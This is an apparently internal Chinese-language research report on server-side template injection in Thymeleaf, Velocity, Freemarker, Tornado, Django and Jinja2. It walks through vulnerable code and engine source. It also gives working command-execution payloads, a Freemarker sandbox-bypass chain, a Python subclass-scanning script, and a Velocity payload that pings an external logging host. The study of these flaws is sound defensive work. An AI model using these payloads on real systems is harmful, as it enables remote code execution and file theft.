服务端模板注入(Server-Side Template Injection,简称 SSTI)是一种 WEB 应用漏洞。服务端模板注入和常见 Web 注入的成因一样,也是服务端接收了用户的输入,将其作为Web应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、命令执行、任意文件读取、任意文件写入等问题。其影响范围主要取决于模版引擎的复杂性。
本文档主要介绍服务端模板注入相关的攻击技术,Enterprise Techniques ID:T1190.014
语言 | 模板框架 |
Java | Freemarker |
Java | Velocity |
Java | Thymeleaf |
Java | Groovy |
Java | jade |
Python | jinja2 |
Python | tornado |
Python | mako |
Python | Django |
PHP | Smarty |
PHP | Twig |
javascript | Nunjucks |
javascript | Marko |
javascript | doT |
javascript | Dust |
javascript | ejs |
javascript | VUE |
本文档分析消费者云服务可以进行 SSTI 漏洞的场景,研究存在 SSTI 漏洞产生的原因、被攻击者利用的各种攻击方式。由于常见的模板引擎数量极多,参考1.1节,因此本文档根据业务的使用量和模板引擎的危害程度进行选取,主要探讨的模板引擎范围包括:Freemarker模板、Thymeleaf模板、Velocity模板、jinja2模板、django模板、mako模板、tornado模板和ejs模板,不在本范围内的不讨论。
测试验证的环境信息如下表:
靶场环境 | SSTI 漏洞利用靶机 |
URL | http://124.70.85.41/ |
安全防护设备版本 | |
环境组件信息 | |
主机名/ip | Goat-SSTI-吴朋 / 10.0.0.142 |
镜像ID: | 7b3d9b8a-6545-4543-b208-01f103cf004d |
靶场认证信息 | 密钥对:KeyPair-BASGaot |
由于Python2与Python3在实现上有较大的区别,本文以Python2.7版本为基础进行分析。
在Python类中,凡是以双下划线"__"开头和结尾命名的成员(属性和方法),都被称为类的特殊成员(特殊属性和特殊方法,特殊方法又叫做"Magic Method"(魔术方法))。例如,类的__init__构造方法就是典型的特殊方法。下面列举一些Python中常见的特殊属性和魔术方法:
1)特殊属性
2)魔术方法
在Python中,模块是一个包含Python定义和语句的文件,可以简单的理解为一个.py 文件就是一个Python模块,模块让你能够有逻辑地组织你的Python代码。Python模块包括Python内置的模块和来自第三方的模块,可以利用import关键字进行导入,或者可以使用__import__函数进行导入,如下是分别是利用import关键字和__import__函数导入os模块,并通过system函数执行系统命令:
Python在import一个模块时首先会在sys.modules这个字典中查找是否已经加载了此模块,如果加载了则只是将模块的名字加入到正在调用import的模块的Local命名空间中。如果没有加载则从sys.path目录中按照模块名称查找模块文件,找到后将模块载入内存,并加到sys.modules中,并将名称导入到当前的Local命名空间。
对于嵌套导入的,比如a.py中存在一个import b,那么import a时,a和b模块都会被添加到sys.modules字典中,a会被导入到当前的Local命名空间中,虽然模块b已经加载到内存了,如果访问还要再明确的在本模块中import b。
因此如果一个模块导入了os模块,我们就可以利用该模块的__dict__变量获取os模块,进而使用os模块,如下所示:
在启动Python解释器之后,即使没有创建任何的变量或者函数,还是会有许多函数可以使用,我们把这些函数称为内建函数,这些内建函数是保存在Python的__builtin__模块中。通过查看Python源码可知,如下图所示,在Python启动时,会将__builtin__模块导入并重命名为__builtins__,其中保存着内建函数与内建函数本身的映射。
可以在Python解释器中利用dir()函数查看当前范围内的变量、方法和定义的类型列表,如下所示:
如下图所示,Python中默认存在__builtins__模块,且__builtins__模块是__builtin__类型。
__builtins__中存在大量内建函数,有很多常用的方法如input()、print()、eval()、list()等,如下图所示:
可以直接通过__builtins__模块来调用内建函数,如下是调用print()函数:
由于__builtins__中保存的是函数名与函数的对应,因此可以通过__builtins__来,添加内置函数,如下是添加内置函数myfunc,其功能为计算一个数的平方:
Thymeleaf是面向Web和独立环境的现代服务器端Java模板引擎,能够处理HTML、XML、JavaScript、CSS甚至纯文本。Thymeleaf的主要目标是提供一个优雅和高度可维护的创建模板的方式。为了实现这一点,它建立在自然模板(Natural Templates)的概念上,将其逻辑注入到模板文件中,不会影响模板被用作设计原型。这改善了设计的沟通,弥合了设计和开发团队之间的差距。Thymeleaf的设计从一开始就遵从Web标准,特别是HTML5,这样就能创建完全符合验证的模板。
Thymeleaf支持的算术运算符有常见的加(+)减(-)乘(*)除(/)模(%)等。如下所示:
Thymeleaf同时也会对数据类型进行自动转换,如果字符串和数字相加,则数字会被认为是字符串。
thymeleaf中常见的关系运算符有:>(gt)、<(lt)、>=(ge)、<=(le)、==(eq)、!=(ne/neq),由于<和>符号在HTML中有特殊意义,因此在使用的时候需要转义为"<"和">"。关系运算符一般配合着th:if使用,只有当结果为真是,其内容才会显示,如下所示。
sorry, adult only
sorry, adult only
条件运算符表达式为:(condition) ? then : else,如果condition为真,则返回then,否则返回else。如下所示:
//这里返回不大于,也就是第二个值
默认值表达式为:(value)?:(defaultValue),表示存在某个值时直接返回该值,否则返回默认值。如下所示:
//这里如果username 有此变量则返回它的值,如果没有就返回abc
消息表达式格式为:#{..}。允许我们从外部源(.properties文件)检索特定于语言环境的消息,通过key引用它们(可选)应用一组参数。同时还能配合变量表达式使用,如下所示:
#{main.title}
#{message.entrycreated(${entryId})}
变量表达式格式为:${..}。会将表达式中的内容当作OGNL表达式,在上下文变量(context variables )中执行,在使用Spring MVC的应用中OGNL表达式将会被替换成SpringEL。如下所示:
// 使用点(.)或者([])来访问属性。
${person.father.name}
${person['father']['name']}
// 也可以调用方法,同时也支持参数
${person.createCompleteName()}
选择表达式格式为:*{...}。选择表达式与变量表达式很像,区别在于它们是在当前选择的对象而不是整个上下文变量映射上执行,它们所作用的对象由th:object属性指定。如下所示:
...
...
...
链接表达式格式为:\@{..}。链接表达式旨在构建URL并向其添加有用的上下文和会话信息(通常称为URL重写的过程),th:href是修饰符属性,它会将要使用的链接URL,处理后将该值设置为的herf属性。并且URL路径中也允许使用变量表达式,同时它也可以是求值另一个表达式的结果,如下所示:
view
view
view
分段表达式格式为:~{..}。分段表达式是Thymeleaf 3.x版本新增的内容。分段段表达式是一种表示标记片段并将其移动到模板周围的简单方法,片段可以被复制,或者作为参数传递给其他模板等等。如下所示:
Thymeleaf提供预处理表达式的功能,预处理是在普通表达式执行之前要执行的表达式,该表达式允许修改最终将要执行的表达式。预处理表达式跟正常的一样,但被两个下划线包围住,例如:__${expression}__。
假设有一个TEST消息文件Message_fr.properties,里面有一个条目包含了一个调用具体语言的静态方法的OGNL表达式(参考表达式注入文档):
[email protected]@translateToFrench({0})
本例中,先通过预处理选择表达式,然后让Thymeleaf处理这个选择出来的表达式:
Some text here...
上面的表达式经过预处理后,得出的等价物如下:
Some text here...
本节以SpringBoot框架下使用Thymeleaf模板的情况为例进行漏洞分析,根据其漏洞发生的场景分为三种情况,如下所示:
WEB应用将用户传入参数直接拼接到模板路径中,如下所示:
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
根据thymeleaf源码可知,当thymeleaf在解析包含"::"名称的模板时,会将其作为表达式进行解析,如下所示:
所以在上述代码中,可以通过控制参数lang,使模板名包含"::"导致其作为表达式进行解析,然后利用模板预处理插入攻击代码。例:
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.x
在org.thymeleaf.spring5.view.ThymeleafView.java文件打上断点,然后提交POC,可以看到viewTemplateName就是我们传入的POC,如果模板名存在"::"则进入else。
首先根据系统配置获取表达式解析器,然后将我们传入的表达式与"~{"和"}"进行拼接,进入到parseExpression函数中。
判断了传入值是否为空,然后进入到parseExpression函数中,追踪此函数。
继续跟踪执行流程,将我们输入带入到preprocess函数中执行。
preprocess函数中,先对输入的内容进行处理,根据输入的内容获取expression对象,然后调用expression对象的execute函数,并获取表达式执行的结果。
可以看到我们的表达式已经被执行,并获取到了执行后的结果:
其函数调用栈为:
根据SpringBoot官方文档描述,当Controller无返回值,则以GetMapping的路由为视图名称,调用模板引擎去解析。因此当可以控制请求URL的参数,就可导致SSTI漏洞,如下代码所示:
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
根据上述代码可知,可控位置变为了请求的controller参数,且controller无返回值,因此可以利用如下POC进行测试:
/doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
其漏洞触发流程与情况一相同,此处便不再赘述。
当表达式内嵌使用预处理,只要预处理的数据可控,均能造成SSTI漏洞,如下所示:
@GetMapping("/test")
public String test(@RequestParam(name="id")String id ,Model model) {
model.addAttribute("admin",id);
return "test";
}
//test.html
根据上述代码可知,首先程序接收了用户参数id,通过model发送给test.html模板,然后渲染test.html。test.html模板中,在变量表达式中内嵌了预处理表达式,且预处理表达式用户可控,因此导致了SSTI漏洞。可以利用如下POC进行测试:
new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()).next()
渲染模板时引擎会解析标签处理属性,其调用栈如下:
然后进入到EngineEventUtils.computeAttributeExpression函数进行处理:
跟进parseAttributeExpression方法,如下所示:
可以看到其将参数传入expressionParser.parseExpression方法进行处理,跟进parseExpression方法如下,其之后处理流程就与情况一中的parseExpression方法一致(参考3.2.3.1分析)。
跟进函数调用,在StandardExpressionPreprocessor内,通过append方法把result添加到strBuilder变量内,result的内容为传入的POC:
strBuilder的值就是进行解析完后最终表达式的值:
最后拼接后的结果就是:
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}
此时test.html的就等价于:
然后模板再进行解析${}内的表达式(OGNL/SpEL)内容,成功执行任意代码:
其完整调用栈为:
Velocity是一个基于Java的模板引擎,它允许任何人简单的使用模板语言来引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。
#set($name="velocity")
等号后面的字符串 Velocity 引擎将重新解析,例如出现以$开始的字符串时,将做变量的替换。
#foreach($element in $list)
$!element
#end
Velocity引擎会将list中的值循环赋给element变量。
条件语句的语法如下:
#if(condition)
...
#elseif(condition)
...
#else
...
#end
Velocity中的宏可以理解为函数定义,使用#macro进行定义,定义语法如下:
#macro(macroName arg1 arg2 ...)
...
#end
调用这个宏的语法是:
#macroName(arg1 arg2 ...)
#parse和#include指令的功能都是在外部引用文件,而两者的区别是,#parse会将引用的内容当成类似于源码文件,会将内容在引入的地方进行解析,#include是将引入文件当成资源文件,会将引入内容原封不动地以文本输出。
单行注释:
##单行注释
多行注释:
#*
多行注释
*#
单引号不解析引用内容,双引号解析引用内容。如:
#set ($var="aaaaa")
'$var' ## 结果为:$var
"$var" ## 结果为:aaaaa
通过"."操作符使用变量的内容,比如获取并调用getClass():
#set($e="e")
$e.getClass()
如果$a已经被定义,但是又需要原样输出$a,可以使用"\"转义作为关键字的$。
ClassTool用于在模板中使用Java反射的工具,利用它可以在模板文件中,直接使用配置好的类的方法。首先在toolbox.xml配置文件添加如下内容,以开启ClassTool支持。
Class
application
org.apache.velocity.tools.generic.ClassTool
开启ClassTool支持后,就可以在模板文件中使用ClassTool类。在模板文件中的使用的格式如下所示,其中$后面是配置文件toolbox.xml内添加内容
hello
TEST:~
$Class.getName()
$Class.getMethods()
这里使用getName()方法,返回类的简单名称,使用getMethods()返回类内方法名称。结果如下:
可调用的API在官方手册内有描述:
在官方列出的Method列表内,有一个名为inspect的危险方法,通过它可以直接创建外部类。inspect方法介绍如下:
本节以SpringBoot框架下使用Velocity 模板的情况为例进行漏洞分析。
如下为一个存在Velocity模板注入的例子:
@RequestMapping("/ssti")
public class SSTI {
@GetMapping("/velocity")
public void velocity(String template) {
Velocity.init();
VelocityContext context = new VelocityContext();
context.put("author", "Elliot A.");
context.put("address", "217 E Broadway");
context.put("phone", "555-1337");
StringWriter swOut = new StringWriter();
Velocity.evaluate(context, swOut, "test", template);
}
}
对上面代码进行分析,在velocity方法内部,系统接收了用户传入的参数template,之后通过Velocity.init()初始化引擎。VelocityContext()创建上下文变量,通过put添加模板中使用的变量到上下文。创建StringWriter对象swOut存储渲染结果,然后将上下文变量以及template传入Velocity.evaluate进行动态渲染。
使用如下Payload进行测试:
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("ping 6orlk8.ceye.io")
设置断点开始调试:
首先进入Velocity.evaluate方法查看方法详情:
继续跟进查看,在RuntimeInstance类中封装了evaluate方法,instring被强制转化为Reader类型:
跟进evaluate查看方法具体实现过程:
继续跟进render方法:
render方法里面还有一个render方法,不过这个是simpleNodel类的render方法。
在第三次循环的时候进入,进入render方法:
看到有一个execute方法:
跟进execute方法:
// 截取的部分关键源代码
for(int i = 0; i < this.numChildren; ++i) {
if (this.strictRef && result == null) {
methodName = this.jjtGetChild(i).getFirstToken().image;
throw new VelocityException("Attempted to access '" + methodName + "' on a null value at " + Log.formatFileString(this.uberInfo.getTemplateName(), this.jjtGetChild(i).getLine(), this.jjtGetChild(i).getColumn()));
}
previousResult = result;
result = this.jjtGetChild(i).execute(result, context);
if (result == null && !this.strictRef) {
failedChild = i;
break;
}
}
previousResult是之前我们的传入的内容处理后的结果,当遍历的节点时候,就会一步步的保存我们的payload最终导致RCE。
FreeMarker是一个模板引擎,其不同于JSP,可以在Servlet容器之外使用。是通过模板和数据模型生成输出文本(HTML网页,电子邮件,配置文件,XML映射等)的通用Java类库。其工作的简单流程图如下:
Freemarker模板文件通常是ftl后缀,当有人来访问这个页面,FreeMarker 将会介入执行,然后动态转换模板,用最新的数据内容替换模板中${...}的部分,之后将结果发送到访问者的Web浏览器中。
FreeMarker模板文件主要由如下4个部分组成:
FTL标签也被称为指令。指令有预定义指令和自定义指令两种。语法与HTML和XML相似。FreeMarker只关心FTL标签,它只会把HTML看做是文本原样输出,不会解析。FreeMarker会忽略FTL标签中多余的空白标记。
Freemarker指令使用格式如下所示:
<#指令>
// assign指令
<#assing value=test>
Freemarker的基本指令有如下几种:
内建函数很像子变量(也像Java中的方法),它们并不是数据模型中的东西,是Freemarker在数值上添加的。为了清晰子变量是哪部分,使用"?"(问号)代替"."(点)来访问它们内建函数,其语法格式为:变量?函数名称。Freemarker有相当多的内建函数可以便捷的帮助开发人员,可以参考其官方文档,但是其中也有很多危险的函数。比如:
本节以SpringBoot框架下使用Freemarker模板的情况为例进行漏洞分析。如下为一个存在Freemarker模板注入的例子:
@RequestMapping(value = "/freemarker")
public void freemarker(@RequestParam("username") String username, HttpServletRequest httpserver, HttpServletResponse response) {
try{
String data = "TEST~";
String templateContent = "Hello " + username + " ${data}";
String html = createHtmlFromString(templateContent,data);
response.getWriter().println(html);
}catch (Exception e){
e.printStackTrace();
}
}
private String createHtmlFromString(String templateContent, String data) throws IOException, TemplateException {
Configuration cfg = new Configuration();
StringTemplateLoader stringLoader = new StringTemplateLoader();
stringLoader.putTemplate("myTemplate",templateContent);
cfg.setTemplateLoader(stringLoader);
Template template = cfg.getTemplate("myTemplate","utf-8");
Map root = new HashMap();
root.put("data",data);
StringWriter writer = new StringWriter();
template.process(root,writer);
return writer.toString();
}
对上面的代码分析可知该段代码含义,首先定义了一个freemarker方法,之后接收了 用户传入的数据username,在方法内部,定义了一个名为data的变量,值为TEST以及定义了一个名为html的变量,值为字符串类型的html模板,同时也把username值拼接了进去。之后调用了createHtmlFromString方法,并把变量html与data传入,
分析createHtmlFromString函数:
使用如下poc进行测试分析:
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc")}
首先是Template的process方法,跟进此方法:
createProcessingEnvironment没有针对poc做任何处理,不是关键函数,跟进process方法:
Environment的process方法,poc是被保存在this.parent内,process最早处理poc的是this.visit方法。
其中getTemplate方法定义如下图所示,它返回getParent方法结果。
getParent的定义如下图所示它返回的是this.parent的值即传入的poc:
pushElement针对poc做了简单处理,不是关键点不详细说明,继续跟进,element存储着poc,把elment赋值给templateElementsToVisit,之后递归调用visit,传入的值 templateElementsToVisit。
在关键点第三次跟进element.accept,它会进入到assing.accept,如下图所示:
改方法上半部分不是重点不做详细描述,关键部分在105行,如下图所示,调用了eval值返回给value,之后返回。
第四次循环,如下图所示:
跟进accept方法,这里调用了calculateInterpolatedStringOrMarkup方法,并传入了env(env内存储有poc),如下图所示:
然后跟进calculateInterpolatedStringOrMarkup方法,在此方法内调用了eval并且传入的值就是env,如下:
跟进eval,在这里调用了一个this._eval并把结果返回,跟进此方法:
_eval方法,首先把env赋值给了targetModel,然后是配置上的判断,之后调用了exec在这里执行了poc。
最终的调用栈为:
类型 | 类名 | 备注 |
Freemarke内置类 | freemarker.template.utility.Execute | |
Freemarke内置类 | freemarker.template.utility.ObjectConstructor | |
Freemarke内置类 | freemarker.template.utility.JythonRuntime |
通过上面的分析可知,要利用freemarker模板注入,必须要实例化TemplateModels(Freemarke内置类),为了防御模板注入漏洞,freemarker内部有一些防御机制。
Freemarker模板为了限制TemplateModels被实例化,在其配置中注册了TemplateClassResolver,用来限制模板类的加载。下面是三个预定义的解析器:
当使用ALLOWS_NOTHING_RESOLVER为模板类解析器的时候,我们常规的利用?new构造的poc就无法利用了,这里使用springboot+freemarker环境,进行说明:
首先开启防御机制,禁止解析任何类:
使用之前利用?new来直接进行命令执行的payload进行测试,可以看到payload没有被执行,页面没有任何结果返回:
因为开启了ALLOWS_NOTHING_RESOLVER无法使用TemplateModels类进行实例化,这个时候需要借助Classloader来加载外部类,但是类加载器是并非是相同的,在不同的环境下,会使用不同的类加载器。
首先通过如下方式,查找当前环境允许索引的类:
<#list .data_model?keys as key>
- ${key}
#list>
可以看到当前环境下存在data和test类:
查询到的这两个允许索引的类,对应的就是代码里HashMap中的值:
之后在允许索引的类里查找有Classloader的类,然后利用类加载,加载(protectionDomain.classLoader)来做个跳板,加载外部类。这里加载的是freemarker.template.ObjectWrapper和freemarker.template.utility.Execute之后利用ObjectWrapper实例化Extecute,来执行命令,如下:
<#assign classloader=object.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("whoami")}
object,就是之前查询到的允许索引的类。
带入poc,成功执行。
这种方式只能应用到 Freemarker-2.3.29 及更低版本,高于这个版本此方法不适用,原因是在高于 2.3.29 的版本,会有一个DefaultMemberAccessPolicy的类以及DefaultMemberAccessPolicy-rules文件,此类的说明在freemarker手册有详细说明,其作用主要是成员访问策略,可以限制类的访问。
Freemarker-2.4.2版本的freemarker.ext.beans.ClassIntrospectorBuilder内容:
Freemarker-2.3.4版本的freemarker.ext.beans.ClassIntrospectorBuilder内容:
使用2.4.2,进行测试,代码使用的相同源码。先使用检测payload来进行测试:
<#assign value="aaaaaaaaa">${value}
可以解析表达式,使用上面的绕过安全机制的payload。
Tornado龙卷风是一个开源的网络服务器框架,它是基于社交聚合网站FriendFeed的实时信息服务开发而来的。Tornado跟其他主流的Web服务器框架(主要是Python框架)不同是采用epoll非阻塞IO,响应快速,可处理数千并发连接,特别适用用于实时的Web服务。tornado使用的模板是自身内置的。
{{ ... }},可以直接输出render时传过来的变量
输出python表达式,通过AutoEscape设置插入和输出{% %}。
{# ... #},这些标签可以被转义为{{!、{%!和{#!如果需要包含文字{{、{%或{#,在输出中使用。
{% comment ... %},将模板输出中的注释去除。当遇到 {% end %} 标签时会结束,在comment 到%} 标签之间写参数。
{% extends *filename* %},从另一个模板那里继承过来。extends包含一个或多个标签以从父模块那继承过来,不包含在块中的子模板及时存在标签页也会被忽略。
{% for *var* in *expr* %}...{% end %},这和python的for是一样的。{% break %}和{% continue %}语句可以用于循环体之中。
{% from *x* import *y* %},这和python的import语法是一样的。
{% if *condition* %}...{% elif *condition* %}...{% else %}...{% end %},表达式为真时,第一个条件语句会被输出(在elif和else之间都是可选的)。
本节以python2.7环境下使用tornado的情况为例进行漏洞分析。
下面为一个存在tornado模板注入的例子:
//tornoda,通过继承 RequestHandler 类定义自己的处理类,来处理请求。Application 类的对象来处理 URI 的路由
TEMPLATE = '''
Hello {{ name }}
Hello FOO
'''
class MainHandler(tornado.web.RequestHandler):
def get(self):
name = self.get_argument('name', '')
//关键代码漏洞产生点
template_data = TEMPLATE.replace("FOO",name)
t = tornado.template.Template(template_data)
self.write(t.generate(name=name))
代码定义一个 TEMPLATE 变量作为一个模板文件,然后使用传入的name替换模板中的"FOO",之后再进行一个模板渲染。但是这种过程并没有对name最任何过滤。造成了SSTI漏洞。并且tornado,是支持import的,可以直接导入os,来进行命令执行,例:
{%import os%}{{os.popen("whoami")}}
最终的模板是在generate方法生成的,漏洞触发点也在其中,所以在这里开始追踪代码,使用如下poc,进行测试:
{%import os%}{{os.popen("calc")}}
首先打上断点,poc被name存储:
generate函数的定义,首先定义了一个字典namespace,在339行通过update把kwargs(即poc)存储进去,之后调用了exec_in跟进此方法。
关键部分在最后两行,首先是用compile将一个字符串编译为字节代码,然后执行exec,并且把code和glob传入,code内容如图片所示,执行code后,直接返回:
在341行,把namespace内的_tt_execute赋值给execute然后下一行清理缓存,最后调用execute方法,执行namespace内的内容。
函数调用栈为:
Django的主要目:简便、快速的开发数据库驱动的网站。Django使用的模板是自身内置的。它强调代码复用,多个组件可以很方便的以"插件"形式服务于整个框架,Django有许多功能强大的第三方插件,你甚至可以很方便的开发出自己的工具包。这使得Django具有很强的可扩展性。它还强调快速开发和DRY(Do Not Repeat Yourself)原则。
1)变量输出
{{ ... }},可以直接输出传递到模板上下文中的变量。
2)内置标签(django内置标签很多这里只介绍一部分,详情请去官方手册查看)**
a) {% debug %}
输出全部调试信息,包括当前上下文和导入的模块。
b) escape
对内容进行HTML实体编码。将escape变量应用于通常会对结果应用自动转义的变量,只会导致完成一轮转义。因此,即使在自动转义环境中,也可以安全的使用此功能。如果要应用多次转义,请使用force_escape过滤器。例如,您可以escape在autoescape关闭时应用于字段:
{% autoescape off %}
{{ title|escape }}
{% endautoescape %}
c) length
返回值的长度。这适用于字符串和列表。如下:
{{ value|length }}
3)模板继承
该标签可以两种方式使用:
{% extends "base.html" %}(带引号)使用文字值"base.html"作为要扩展的父模板的名称。
{% extends variable %}使用的值variable。如果该变量的值为字符串,则Django将使用该字符串作为父模板的名称。如果变量求值为Template对象,则Django将使用该对象作为父模板。
假定以下目录结构:
dir1/
template.html
base2.html
my/
base3.html
base1.html
在template.html中,以下路径将有效:
{% extends "./base2.html" %}
{% extends "../base1.html" %}
{% extends "./my/base3.html" %}
4)文件包含
加载模板并使用当前上下文呈现它。这是在模板中"包含"其他模板的一种方式。模板名称可以是变量,也可以是硬编码(带引号)的字符串,用单引号或双引号引起来。此示例包括模板的内容"foo/bar.html"。
{% include "foo/bar.html" %}
5)for循环
{% for *var* in *expr* %}...{% end %},这和python的for是一样的。
{% for athlete in athlete_list %}
- {{ athlete.name }}
{% endfor %}
6)if分支
{% if *condition* %}...{% elif *condition* %}...{% else %}...{% end %},表达式为真时,第一个条件语句会被输出(在elif和else之间都是可选的)。
{% if athlete_list %}
Number of athletes: 222
{% elif athlete_in_locker_room_list %}
Athletes should be out of the locker room soon!
{% else %}
No athletes.
{% endif %}
本文以python2.7环境下使用django的情况为例进行漏洞分析。下面为一个存在django模板注入的例子:
# view.py
from django.http import HttpResponse
from django.template import Context, Template
def hello(request):
if 'q' in request.GET and request.GET['q']:
request.session["user"] = "admin"
message = 'you search content is django version~'+request.GET['q']
template = Template(message)
context=Context({"request":request})
respult=template.render(context)
return HttpResponse(respult)
// urls.py
from django.conf.urls import url
from django.contrib import admin
from Project import views, search
urlpatterns = [
url(r'^admin/', admin.site.urls),
url('test/', views.hello),
]
urls内是django的路由设置,当访问网站的test目录,程序会去寻找views模块的hello方法。
views内是程序具体处理方法,简单的流程结构如下
a) 首先接收get类型的q参数,
b) q参数值与字符串拼接,赋值给message,
c) 使用Template函数创建一个初始模板,赋值给template,
d) 使用Context传递上下文变量,并把传递完毕的模板返回给context,
e) 使用render渲染模板。
使用如下poc:
{% include "manage.py" %}
可以看到poc被接收了,且没有被转义:
跟进负责渲染的render方法内,可以看到这段代码大致含义,如果模板内容不为空就进入到self._render内,而_render定义的部分就在199行,它调用了nodelist.render方法。
跟进nodelist.render方法,其定义了一个列表bits,然后for循环遍历模板内容,并把模板解析后的结果复制给bit,在第二次循环的时候(即渲染poc的代码的时候)进入render_annotated方法。
跟进render_annotated后发现他调用了self.render跟进此方法:
render方法,直接看关键代码,context就是poc的内容。在197行赋值给了template然后在的204行调用get_template方法,跟进此方法。
get_template方法,调用了find_template方法继续跟进:
find_template方法,可以看到name 被传入到了loader.get_template方法继续跟进:
get_template方法,看关键部分的代码,26行把template_name赋值给了args然后在38行调用了get_contents。
跟进get_contents方法,一个明显的文件读取的功能:
可以看到poc被成功执行,读取到了manage.py的文件内容。
利用条件:
需要在settings内的TEMPLATES列表内添加信任目录。
django的安全措施:
a) 不允许用户输入系统不信任标签。
b) 变量不能出现"__"、"[]"等特殊符号。
python的SSTI漏洞,常见poc如下,可以看到两个poc都使用到了下划线、[]以及import。
{%import os%}{{os.popen("whoami").read()}}
{{[].__class__.__base__.__subclasses__()[60].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
然而这些都被django防护了,所以很难通过ssti造成rce漏洞。
简要分析以上两点限制,第一点不允许加载非信任标签的情况,关键源码在base.py内,源码位置在,\django\template\base.py,使用测试语句{%import os%},测试语句被保存到了command内,然后在507 调用self.tags然后把command当做索引传入,如果没有此索引它就会进入到except KeyError内,放弃执行测试语句,然后把错误返回给页面。
查看有哪些标签是可以被使用的,import并没有在其中。而分析案例中的include就在其中。
而变量不能使用下划线以及点号等情况,这部分在官方手册有相关描述。
测试语句:
{{5*5}}
{{[].__class__.__base__.__subclasses__()[60].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
当输入一个正常的变量时,它会从模板上下文中查找此变量如果没有就不输出值,但是不会影响程序运行。
Jinja2是一个Python的功能齐全的模板引擎。它有完整的unicode支持,一个可选的集成沙箱执行环境,被广泛使用,以BSD许可证授权。以上是官方说明,简单来说,它提供了替换功能(变量替换)和一些强大的特性(控制流、继承等),可以快速生成数据文件,使得业务与数据分离开来,满足一些灵活多变的配置需求。
官方文档对于模板的语法介绍如下:
{% ... %} for Statements
{{ ... }} for Expressions to print to the template output
{# ... #} for Comments not included in the template output
# ... ## for Line Statements
a) {%%}
主要用来声明变量,也可以用于条件语句和循环语句。
{% set c= 'kawhi' %}
{% if 81==9*9 %}kawhi{% endif %}
{% for i in ['1','2','3'] %}kawhi{%endfor%}
b) {{}}
用于将表达式打印到模板输出,比如我们一般在里面输入2-1,2*2,或者是字符串,调用对象的方法,都会渲染出结果。
{{2-1}} #输出 1
{{2*2}} #输出 4
通常情况都会用{{2*2}}简单的测试页面是否存在SSTI。
c) {##}
表示未包含在模板输出中的注释。
d) ##
有和{%%}相同的效果,这里的模板注入主要用到的是{{}}和{%%}。
1)构造利用链的原因、目的
在python中如果需要执行系统命令大多情况是导入os库,但是在jinja2中不能像tornado一样直接导入某个库,所以需要绕过此限制,获取到更高的权限。
2)利用链构造的简单流程
a) 内置对象,通常是列表、字符串、元组等
b) 用__class__获取到它的基础类
c) 用__mro__或者__base__拿到基类(
d) 用__subclasses__()获取到子类列表
e) 利用__init__.__globals__获取子类的所有方法
f) 利用特殊模块、方法,执行命令/文件读取
4)在python2常见的可利用的模块或方法:
a) 命令执行:timeit模块、exec()、eval()、execfile()、compile()、platform模块、os模块、subprocess模块和importlib模块
b) 文件操作:file()函数、open()函数、codecs模块
5)查找特殊的模块
代码如下:
#target_modules 存放特殊模块名称
target_modules = ['os', 'platform', 'subprocess', 'timeit', 'importlib', 'codecs', 'sys']
#target_functions 存放特殊函数名称
target_functions = ['__import__', '__builtins__', 'exec', 'eval', 'execfile', 'compile', 'file', 'open']
#组合所有特殊模块与特殊函数名称
all_targets = target_modules + target_functions
#获取object下所有子类名称
subclasses = [].__class__.__bases__[0].__subclasses__()
#循环遍历,在目标内查找特殊模块或特殊函数在子类列表内的位置
for i, sub in enumerate(subclasses):
try:
more = sub.__init__.__globals__
for m in all_targets:
if m in more:
print(i, sub, m)
except Exception as e:
pass
以上代码含义是:
a) 首先定义一个target_modules存放 特殊模块名称,
b) 定义一个target_functions存放特殊函数名称存放特殊函数,
c) 将target_modules和target_functions合并赋值给all_targets
d) 之后通过__class__.__base__获取列表的基类(
e) 通过subclasses()获取
f) 遍历subclasses列表,然后尝试获取每个值的方法,
g) 如果报错就跳过当前循环,如果成功就判断当前值在all_targets内,是否存在,
h) 如果存在就会打印子类名称,在subclasses子类列表的位置,存在的特殊方法名称。
运行结果:
尝试是否可用,根据运行结果,在子类列表索引77和72均存在os模块,78和79均存在open。
进行命令执行:
进行文件读取:
本文以python2.7环境下使用flask(flask框架默认自带jinja2模板引擎)的情况为例进行漏洞分析。如下为一个存在jinja2模板注入的例子:
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
通过对3.6.2代码的分析,可知代码含义是:app.route是路由的设置,在index这个方法里面,接收了GET类型参数name的值,并且赋值给了变量name,t = Template("hello" + name)这行代码表示,创建一个html模板,内容为"Hello"+变量name的值。然后通过render方法渲染了模板。这个过程过程中,可以通过控制name参数来控制模板渲染前的内容,其中也没有针对name有任何的过滤,从而造成了SSTI漏洞。
flask-jinja2模板简单渲染流程:
a) render_template_string
b) _render
c) template.render
使用如下poc,进行分析:
[].__class__.__base__.__subclasses__()[60].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('calc').read()")
首先打上断点,跟进render_template_string方法:
前两行是一些简单的配置,信息获取,不是关键点不做详细说明。然后调用了_render跟进此函数:
在_render内,before_render_template并没有针对poc做任何处理,不做详细说明,然后调用了template.render并把context传入,跟进template.render:
1088行,这里通过self.new_context生成一个Template.new_context(含poc)传入root_render_func函数,关于此函数在flask手册有详细描述,简单说明,它是一个渲染模板的函数并且传入的值只能是Template.new_context类型。
